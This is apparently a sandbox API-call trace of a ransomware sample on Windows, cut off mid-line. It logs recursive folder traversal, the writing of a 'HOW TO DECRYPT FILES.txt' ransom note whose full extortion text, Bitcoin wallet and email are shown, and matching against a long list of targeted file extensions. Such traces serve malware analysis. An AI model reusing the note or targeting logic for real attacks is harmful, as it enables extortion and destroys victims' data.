hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.986] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f16dd39, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f16dd39, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f16dd39, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="e097881a6e1956a4c3f6b8dbb81cb4ee", cAlternateFileName="E09788~1")) returned 0 [0111.986] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0111.986] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4837ead, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x4837ead, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x4837ead, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x730065, cFileName="PresentationFontCac#", cAlternateFileName="PR4F1C~1")) returned 1 [0111.986] lstrcmpA (lpString1=".", lpString2="PresentationFontCac#") returned -1 [0111.986] lstrcmpA (lpString1="..", lpString2="PresentationFontCac#") returned -1 [0111.986] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0111.986] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="PresentationFontCac#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#" [0111.986] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#") returned 67 [0111.986] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4837ead, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x4837ead, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x4837ead, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0111.986] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.986] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4837ead, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x4837ead, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x4837ead, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.987] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.987] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.987] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4837ead, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x4837ead, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x4837ead, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0246845f487e5f33d3564eff578665a3", cAlternateFileName="024684~1")) returned 1 [0111.987] lstrcmpA (lpString1=".", lpString2="0246845f487e5f33d3564eff578665a3") returned -1 [0111.987] lstrcmpA (lpString1="..", lpString2="0246845f487e5f33d3564eff578665a3") returned -1 [0111.987] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\*.*") returned="*.*" [0111.987] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\", lpString2="0246845f487e5f33d3564eff578665a3" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3" [0111.987] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3") returned 100 [0111.987] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4837ead, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x4837ead, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x4837ead, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.987] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.987] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4837ead, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x4837ead, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x4837ead, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.987] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.988] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.988] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47ebbec, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x47ebbec, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x4811d4c, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x11a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFontCache.ni.exe", cAlternateFileName="PRESEN~1.EXE")) returned 1 [0111.988] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.988] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationFontCache.ni.exe") returned -1 [0111.988] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationFontCache.ni.exe") returned -1 [0111.988] lstrcmpiA (lpString1="", lpString2="PresentationFontCache.ni.exe") returned -1 [0111.988] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\*.*") returned="*.*" [0111.988] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\" [0111.988] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\") returned="" [0111.988] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\HOW TO DECRYPT FILES.txt" [0111.988] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\presentationfontcac#\\0246845f487e5f33d3564eff578665a3\\how to decrypt files.txt")) returned 0xffffffff [0111.988] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\presentationfontcac#\\0246845f487e5f33d3564eff578665a3\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.990] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0111.991] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.992] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.992] CloseHandle (hObject=0x90) returned 1 [0111.992] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\", lpString2="PresentationFontCache.ni.exe" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe" [0111.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.ems") returned 0 [0111.992] lstrlenA (lpString="*.ems") returned 5 [0111.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.db") returned 0 [0111.992] lstrlenA (lpString="*.db") returned 4 [0111.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.dbf") returned 0 [0111.993] lstrlenA (lpString="*.dbf") returned 5 [0111.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.myox") returned 0 [0111.993] lstrlenA (lpString="*.myox") returned 6 [0111.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.myo") returned 0 [0111.993] lstrlenA (lpString="*.myo") returned 5 [0111.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.qbw") returned 0 [0111.993] lstrlenA (lpString="*.qbw") returned 5 [0111.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.qbb") returned 0 [0111.993] lstrlenA (lpString="*.qbb") returned 5 [0111.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.qbm") returned 0 [0111.993] lstrlenA (lpString="*.qbm") returned 5 [0111.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.qbo") returned 0 [0111.993] lstrlenA (lpString="*.qbo") returned 5 [0111.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.qbx") returned 0 [0111.993] lstrlenA (lpString="*.qbx") returned 5 [0111.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.qba") returned 0 [0111.993] lstrlenA (lpString="*.qba") returned 5 [0111.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.qby") returned 0 [0111.993] lstrlenA (lpString="*.qby") returned 5 [0111.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.qbj") returned 0 [0111.993] lstrlenA (lpString="*.qbj") returned 5 [0111.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.ofx") returned 0 [0111.994] lstrlenA (lpString="*.ofx") returned 5 [0111.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.qif") returned 0 [0111.994] lstrlenA (lpString="*.qif") returned 5 [0111.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.mye") returned 0 [0111.994] lstrlenA (lpString="*.mye") returned 5 [0111.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.mbox") returned 0 [0111.994] lstrlenA (lpString="*.mbox") returned 6 [0111.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.eml") returned 0 [0111.994] lstrlenA (lpString="*.eml") returned 5 [0111.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.pst") returned 0 [0111.994] lstrlenA (lpString="*.pst") returned 5 [0111.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.ost") returned 0 [0111.994] lstrlenA (lpString="*.ost") returned 5 [0111.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.idx") returned 0 [0111.994] lstrlenA (lpString="*.idx") returned 5 [0111.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.dbx") returned 0 [0111.994] lstrlenA (lpString="*.dbx") returned 5 [0111.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.sql") returned 0 [0111.994] lstrlenA (lpString="*.sql") returned 5 [0111.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.mdb") returned 0 [0111.995] lstrlenA (lpString="*.mdb") returned 5 [0111.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.fdb") returned 0 [0111.995] lstrlenA (lpString="*.fdb") returned 5 [0111.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.wab") returned 0 [0111.995] lstrlenA (lpString="*.wab") returned 5 [0111.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.dat") returned 0 [0111.995] lstrlenA (lpString="*.dat") returned 5 [0111.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.txt") returned 0 [0111.995] lstrlenA (lpString="*.txt") returned 5 [0111.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.jpeg") returned 0 [0111.995] lstrlenA (lpString="*.jpeg") returned 6 [0111.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.jpg") returned 0 [0111.995] lstrlenA (lpString="*.jpg") returned 5 [0111.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.png") returned 0 [0111.995] lstrlenA (lpString="*.png") returned 5 [0111.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.php") returned 0 [0111.995] lstrlenA (lpString="*.php") returned 5 [0111.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.cs") returned 0 [0111.995] lstrlenA (lpString="*.cs") returned 4 [0111.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.cpp") returned 0 [0111.996] lstrlenA (lpString="*.cpp") returned 5 [0111.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.rar") returned 0 [0111.996] lstrlenA (lpString="*.rar") returned 5 [0111.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.zip") returned 0 [0111.996] lstrlenA (lpString="*.zip") returned 5 [0111.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.html") returned 0 [0111.996] lstrlenA (lpString="*.html") returned 6 [0111.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.htm") returned 0 [0111.996] lstrlenA (lpString="*.htm") returned 5 [0111.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.xlsx") returned 0 [0111.996] lstrlenA (lpString="*.xlsx") returned 6 [0111.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.xls") returned 0 [0111.996] lstrlenA (lpString="*.xls") returned 5 [0111.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.mp4") returned 0 [0111.996] lstrlenA (lpString="*.mp4") returned 5 [0111.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.ppt") returned 0 [0111.996] lstrlenA (lpString="*.ppt") returned 5 [0111.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.pptx") returned 0 [0111.996] lstrlenA (lpString="*.pptx") returned 6 [0111.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.doc") returned 0 [0111.997] lstrlenA (lpString="*.doc") returned 5 [0111.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.dot") returned 0 [0111.997] lstrlenA (lpString="*.dot") returned 5 [0111.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.docx") returned 0 [0111.997] lstrlenA (lpString="*.docx") returned 6 [0111.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.7z") returned 0 [0111.997] lstrlenA (lpString="*.7z") returned 4 [0111.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.tar") returned 0 [0111.997] lstrlenA (lpString="*.tar") returned 5 [0111.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.bz2") returned 0 [0111.997] lstrlenA (lpString="*.bz2") returned 5 [0111.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.gz") returned 0 [0111.997] lstrlenA (lpString="*.gz") returned 4 [0111.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.mkv") returned 0 [0111.997] lstrlenA (lpString="*.mkv") returned 5 [0111.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.eml") returned 0 [0111.997] lstrlenA (lpString="*.eml") returned 5 [0111.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.msg") returned 0 [0111.997] lstrlenA (lpString="*.msg") returned 5 [0111.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.edb") returned 0 [0111.998] lstrlenA (lpString="*.edb") returned 5 [0111.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.accdb") returned 0 [0111.998] lstrlenA (lpString="*.accdb") returned 7 [0111.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.odb") returned 0 [0111.998] lstrlenA (lpString="*.odb") returned 5 [0111.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.java") returned 0 [0111.998] lstrlenA (lpString="*.java") returned 6 [0111.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.asm") returned 0 [0111.998] lstrlenA (lpString="*.asm") returned 5 [0111.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.pfx") returned 0 [0111.998] lstrlenA (lpString="*.pfx") returned 5 [0111.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.pem") returned 0 [0111.998] lstrlenA (lpString="*.pem") returned 5 [0111.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.p12") returned 0 [0111.998] lstrlenA (lpString="*.p12") returned 5 [0111.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.gpg") returned 0 [0111.998] lstrlenA (lpString="*.gpg") returned 5 [0111.998] PathMatchSpecA 